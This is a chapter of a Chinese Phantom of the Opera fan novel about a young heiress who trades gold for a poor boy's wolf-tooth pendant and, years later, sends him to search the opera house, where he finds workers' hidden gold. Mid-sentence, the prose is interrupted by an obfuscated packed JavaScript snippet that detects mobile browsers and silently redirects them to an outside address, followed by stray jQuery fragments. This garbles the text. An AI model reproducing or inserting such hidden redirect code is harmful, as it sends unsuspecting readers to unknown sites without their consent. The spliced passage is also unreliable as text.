11. 黄金

作品:《[歌剧魅影]巴黎美人

    “他要的是什么?”


    外边传来的女声依旧稚嫩,女孩径直走向小奥斯顿的方向。


    “这儿不值得您...根本不值得您来,莫斯利,快把您家小姐带回去...我的上帝。”


    看见小莫琳竟然蹲下来亲手抱起了那筐面包,周围的人忍不住惊呼出声。这是佣人们的后厨,不是她这样的上等人应该踏足的地方。


    小莫琳不在意这些,她根本没看他们,而是盯着坐在地上的男孩问:“你要的是这个吗?”


    他迟疑了一会儿,朝她点点头。


    小莫琳说:“我母亲告诉我,这世上从来没有不劳而获的道理,即使是别人不要的东西。如果想要这些面包,你必须要拿东西来和我交换。”


    她的逻辑说服了小奥斯顿,他似乎完全忘了自己先前是这样笃信着富人们的施舍。


    在奥斯顿眼里,从富人们口袋里溢出的黄金理应属于他们,这不是施舍,而是更有效用的分配,是恒等的万物法则。


    莫琳的话使他终于想起母亲给他准备好的零钱还在口袋里安静地躺着。他将那几个硬币拿出来,用衣角使劲地擦了擦,递上前去。


    那是几个锈迹斑斑的生丁。


    小莫琳当然看不上这些,她的脸上很快浮现出了失去兴趣的不耐,说:“我要这些废铜烂铁做什么?别的,我要你别的珍贵的东西。”


    “你脖子上挂的那个吊坠,就用那个和我换吧。”


    奥斯顿下意识地低头去看她所说的那枚吊坠,犹豫起来。


    小莫琳能看上它是有原因的,那是他父亲从前打猎时给他带回来的礼物——是一枚成色很好的狼牙。它属于部落里的首领,象征着力量与权力。洁白,尖锐,甚至带着尚未散尽的血气。


    当时这枚狼牙交到他手上时尚且还凝结着深红色的痕迹,仿佛能从中看出当时猎人与猎物之间经历了一场怎样残酷的搏斗。


    他不知道自己该不该答应她。父亲已经不再能打猎了,这是他送给小儿子的唯一一份战利品。


    “我和你换。”小奥斯顿说。


    小莫琳挑了挑眉毛,她能从对方脸上的纠结犹豫猜出这枚狼牙对于他的重要程度。她以为他大概率会踌躇一会儿,甚至准备好了对方狮子大开口和她谈些什么别的条件,可全都没有,这个刚被人谩骂指责为野种的男孩就这么利落地答应了下来。


    她从不吃亏,但也不愿意让别人觉得与她做生意是件容易后悔的事。


    小莫琳将那筐面包塞到他怀里,招招手示意管家拿来现钱。


    在那一堆金灿灿的颜色中挑选半天后,小莫琳最后将一枚五十里弗尔面值的金币放在男孩手上,她解释道:“这枚狼牙很少见,所以我额外补给你报酬,这样你以后就不能和别人说被坎贝尔家的人占了便宜。”


    “向您保证。”


    虽然失去了狼牙吊坠,但手上沉甸甸的触感却是真实的。


    不仅顺利拿到了免费的面包,还意外换取了一大笔钱,奥斯顿的心情有些难以言喻的奇妙。


    家里的经济总是有缺口,五十里弗尔已经足够让他们松快地度过一周,回去以后妈妈会高兴坏的。他虽然年纪尚小,但也知道这枚狼牙不可能在市场上卖出这么高的价格,这全凭了那位小姐的善心。


    至于她这么做究竟是出于怜悯也好,只是存了想将他打发走不落口舌的心也好,他都不在乎。


    “非常感谢您的慷慨,坎贝尔小姐。”他真心实意地说。


    倘若只是这意外的五十里弗尔,倒也不值得奥斯顿这样舍得去替如今的莱斯曼经理卖命。只不过当时互相拉扯的两个孩子无论如何也不会想到,这五十里弗尔竟然会成了克罗宁家的救命钱。


    巴黎的不同街区之间俨然是两个世界。


    那天母亲的哭喊依旧声声在耳—回家以后,父亲因为伤口的持续发炎坏死而高烧不退,他们无力负担城里医生的看诊费,只能用先前剩下的药物吊着他的命。


    莫琳随手给出的五十里弗尔就在个关键时刻派上了用场。


    只不过莫琳已经不再记得这些微不足道的事了,那枚狼牙吊坠不过是她儿时千百个曾经喜爱过的物什中的一个,要叫她记得这其中每样物品从哪里来根本是不可能的。


    奥斯顿也清楚这些。


    所以他从没奢望过莫琳还能留着那枚吊坠,又或者能从他脸上回忆起从前面包店里那个小男孩的影子来。


    但他依旧记得莫琳当时说过的话—“这世上没有不劳而获的道理”。即使那五十里弗尔的富余只不过是她随手的施舍,也并不能影响他为此付出代价的决心。


    那张契约书上签下的名字就是佐证。


    十几年后的莫琳凭借契约书顺理成章地成为了奥斯顿的主人。


    她反复向面前的人阐述了契约上的内容,以防在无意之间让自己成了坑骗无辜的黑心商人:“克罗宁,你确认过这上面的所有条约吗?我必须提醒你,在这张契书的约束下,你的大部分行为得益几乎都在我一个人的控制之下。”


    “如果你不能完全理解,我可以请人来为你逐条解释...”


    她还是和小时候一样,既有着利益既得者天生的高人一等,又有着别扭的交易平等意识,生怕别人毁坏了她好不容易筑立起的招牌。


    奥斯顿忍不住笑起来,这似乎是他第一次在她面前有过这么轻松的表现,


    “不用了,莱斯曼小姐。”


    “我完全理解这上面所写的内容,并且愿意向上帝起誓。


    ——奥斯顿·克罗宁将永远以您的意志为优先,承诺用生命替您追寻到一切可能的理想。”


    莫琳完全没有意料到他能说出这样一番话来。


    她显然低估了这个新上任的守卫,他绝不是没有受过教育的白丁,不识字的人没可能会说出这样的话来。那么他该会是为了什么?无故得益对莫琳来说并不是件值得庆幸的事情。


    但既然他都已经这么说了,继续追问也没有太大的意义。莫琳想了想,说:


    “既然这样,那么你先去替我办一件事吧。”


    在成为莫琳守卫的头一天,奥斯顿的任务就是搜查清楚歌剧院内所有的暗门。


    这绝不是一件轻松的事。


    光是明面上存在的两千多道门,还有并不能与此完全相配的七千多把钥匙就足以设下窥探者的天槛。达茜找到的那条暗道,还有莫琳带着奥斯顿到达的那片黑湖,不过是替他们撕开了剧院隐秘处的一方小口,这里必然还有千百处他们从未涉足的地方。


    如果说莫琳原先还能劝慰自己不必太过执着那些不显于明处的事情,昨天那一遭彻底断绝了她的虚假幻想。这个剧院里可能并不存在工人们口中的恶魔,但的确埋藏了一个手段了得,且心思深沉头脑复杂的,人。


    破开剧院内的谜障想必一定不是那位幽灵希望看见的,莫琳对此早有心理准备。


    但她没想到,根本还没等到那个人插手,奥斯顿已经遭到了来自他们剧院内部的阻碍。他们似乎并不想让他继续搜查下去。


    就在奥斯顿重新回到当天那堵暗门前,打算从这里入手开始调查时,旁边有人抱着胳膊站到他面前挡住了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018815|162159||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他的视线:


    “嘿,克罗宁家的小子! 听说不过短短两天,你就已经攀上了我们的女经理,从前怎么没发现你有这样的本事?”


    “费奇那家伙也真够可怜的,连命都送出去了也没得到半点好处,反而是被你捡了漏。”


    说这话的人是当天其余三个人中一个的好友,他没能得知导致费奇丧命的罪魁祸首是谁,只是听回来的人发些牢骚话说是被克罗宁抢了功劳,所以这时候才能这么毫无忌惮地讽刺他。


    “照我说,你早该这么做了”,有人将骑象道具搬了回去,调侃道:“白白浪费了一张脸蛋,也不用和咱们一起干这些脏活受苦!”


    奥斯顿没有理会这些声音,他索性放弃这个入口,转到侧边楼梯的角落里,那里还有一间常年上着锁的贮藏室。


    可还没等他找到开锁的法子,身后那群人却像是打定主意黏住他那般迅速跟了上来。他们齐齐站在奥斯顿的周围,摆明了是不打算让他继续调查下去。


    看来在明面上干这事儿是行不通了。


    既然遭人阻碍,奥斯顿干脆将莫琳留给他的钥匙掷到旁边人的怀里,掸掉手上的灰尘,一副撂挑子不干的模样朝经理室的方向走去。


    其余人这才看着他的背影舒了口气。


    有人小声开口:“这家伙该不会是去找经理告状了吧?”


    “得了吧,莱斯曼家那个小姐能知道些什么。她只不过是个愚蠢的英国人,就算她亲自来查,也查不出什么东西来。我敢说,莱斯曼家不会让她在这个地儿待上超过三个月的。她如果一直和我们这样一群人混在一起,婚事就彻底泡汤咯。”


    “说的也是。”


    “墙里的东西没少吧?”


    “没有没有,真是上帝恩赐,这个月还多了几个银币,足够你应付家里边的娘们儿了。”


    他们边说边踱着步散去,打算去外边买几瓶酒庆祝,丝毫没有注意到去而复返的克罗宁。他刚才装作走到经理办公室的方向,实际上却躲在了转角处,。


    刚才的钥匙被他扔给了那几个蠢货。奥斯顿索性将那间储藏室外边挂着的老化生锈的锁用蛮劲敲了下来,然后按着那几人所说,搬开了墙壁上几块松动的砖。


    这些人的警惕性似乎都被丢到了海里。由于时常遭人松动,那墙壁上的缝隙都大的几乎可以将指头塞进去,奥斯顿轻而易举就能找到那些宝物。


    果然是黄金。


    准确来说,是用黄金融成的小圆珠子,就这样赤裸裸地摆放在零碎的砖瓦之间,周围灰扑扑的砖石更将它衬得光彩夺目。


    莫琳先前从工人们之中入手的想法没有错,甚至是完全走在正确道路上的。


    在她看来,即便这些机关多么精妙诡谲,也很难在有着众多人员的剧院里完全掩盖过去,一定会存在那么不经意的一瞥,或者误打误撞的发现。


    可现实却是,歌剧院里没有任何人曾经或者有意向在未来,向她提供有价值的线索。这件事本身就是不合理的。


    而在看到这些黄金后,答案昭然若揭。


    他们之所以这么着急地阻碍自己,是因为那个幽灵留下了丰厚的报酬。他是个聪明的“人”,将莫琳与他之间的矛盾转移到了更大的群体身上,现在不再是莫琳与他的较量,而是莫琳与歌剧院工人的比试。


    更准确来说,是和金钱之间的。他用黄金替自己铸就了一副天然屏障。


    这些金子或许能挡住剧院里所有人向黑暗处窥探的目光,但绝不是奥斯顿的。黄金万能却也无用,他说了,自己要做莱斯曼小姐最趁手的那把刀。